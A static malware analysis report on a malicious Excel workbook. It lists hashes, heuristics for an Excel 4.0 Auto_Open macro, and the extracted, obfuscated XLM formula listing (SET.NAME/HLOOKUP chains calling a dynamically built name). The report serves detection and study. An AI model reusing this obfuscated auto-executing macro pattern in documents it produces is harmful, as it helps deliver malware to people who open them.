Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c5a1883296e1cc3…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:43:05 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: fb0ec7dd019125979f4df181d94ffb18 SHA-1: 83c60b84b0ad18e272d5e86f30485f55fe688466 SHA-256: 5c5a1883296e1cc35a390c637e794f2e9036e437ad88629d982587b4a055d213
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6742 bytes
SHA-256: b8bb7fd5dd668cb24acb7d2eacd9f49a26998f96fa15d3efc05c5c8cb68b173b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OpojMuvw
' 0018     25 LABEL : Cell Value, String Constant - aPhvmfmdVe len=0 
' 0018     25 LABEL : Cell Value, String Constant - AtigZUYZLm len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H177 
' 0018     23 LABEL : Cell Value, String Constant - ElcJeeod len=0 
' 0018     25 LABEL : Cell Value, String Constant - fzzIXEkrcY len=0 
' 0018     20 LABEL : Cell Value, String Constant - HxNfn len=0 
' 0018     24 LABEL : Cell Value, String Constant - jCjMTWujF len=0 
' 0018     25 LABEL : Cell Value, String Constant - JvOivzCpen len=0 
' 0018     27 LABEL : Cell Value, String Constant - NrFiukIRvfPm len=0 
' 0018     22 LABEL : Cell Value, String Constant - OClvpaW len=0 
' 0018     23 LABEL : Cell Value, String Constant - pPrFbDel len=0 
' 0018     22 LABEL : Cell Value, String Constant - QYyeQeF len=0 
' 0018     25 LABEL : Cell Value, String Constant - ROGwmkStho len=0 
' 0018     24 LABEL : Cell Value, String Constant - RoUrWGvXT len=0 
' 0018     21 LABEL : Cell Value, String Constant - spDKxb len=0 
' 0018     26 LABEL : Cell Value, String Constant - VaCSLAQnXuk len=0 
' 0018     22 LABEL : Cell Value, String Constant - vVEuGTP len=0 
' 0018     21 LABEL : Cell Value, String Constant - XPuPpV len=0 
' 0018     22 LABEL : Cell Value, String Constant - yyjaimd len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZKgcitbCeEeH len=0 
' 0018     21 LABEL : Cell Value, String Constant - zuYKGz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OpojMuvw,H81,"SET.NAME("ElcJeeod",0+VALUE("0"))",""
'  OpojMuvw,H85,"SET.NAME("pPrFbDel",ElcJeeod)",""
'  OpojMuvw,P86,"",-21.00000000000000000000
'  OpojMuvw,P87,"",715.00000000000000000000
'  OpojMuvw,H88,"SET.NAME("OClvpaW",ElcJeeod)",""
'  OpojMuvw,P88,"",361.00000000000000000000
'  OpojMuvw,P89,"",654.00000000000000000000
'  OpojMuvw,P90,"",87.00000000000000000000
'  OpojMuvw,P91,"",446.00000000000000000000
'  OpojMuvw,H92,"SET.NAME("AtigZUYZLm",COUNTA(XPuPpV))",""
'  OpojMuvw,H95,"SET.NAME("aPhvmfmdVe",COUNTA(fzzIXEkrcY))",""
'  OpojMuvw,H98,[],""
'  OpojMuvw,H102,"SET.NAME("vVEuGTP","")",""
'  OpojMuvw,H106,"pPrFbDel",""
'  OpojMuvw,H110,"SET.NAME("RoUrWGvXT",HLOOKUP("*",XPuPpV,pPrFbDel,FALSE))",""
'  OpojMuvw,H114,"NrFiukIRvfPm",""
'  OpojMuvw,H116,"SET.NAME("zuYKGz",ElcJeeod)",""
'  OpojMuvw,H120,[],""
'  OpojMuvw,H124,"zuYKGz",""
'  OpojMuvw,H126,"HxNfn",""
'  OpojMuvw,H128,"JvOivzCpen",""
'  OpojMuvw,H131,"ZKgcitbCeEeH",""
'  OpojMuvw,H135,"SET.NAME("ROGwmkStho",VALUE(HLOOKUP("*",fzzIXEkrcY,ZKgcitbCeEeH,FALSE)))",""
'  OpojMuvw,H140,"QYyeQeF",""
'  OpojMuvw,H142,"vVEuGTP",""
'  OpojMuvw,H144,"OClvpaW",""
'  OpojMuvw,H149,NEXT(),""
'  OpojMuvw,H153,"spDKxb",""
'  OpojMuvw,H158,[],""
'  OpojMuvw,H163,"jCjMTWujF",""
'  OpojMuvw,H168,NEXT(),""
'  OpojMuvw,H172,RETURN(),""
'  OpojMuvw,H199,"SET.NAME("yyjaimd",H81)",""
'  OpojMuvw,H203,"XPuPpV",""
'  OpojMuvw,H207,"SET.NAME("fzzIXEkrcY",R86C11)",""
'  OpojMuvw,H212,"SET.NAME("jCjMTWujF",219)",""
'  OpojMuvw,H215,"SET.NAME("VaCSLAQnXuk",8)",""
'  OpojMuvw,H218,yyjaimd(),""
'  OpojMuvw,H219,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.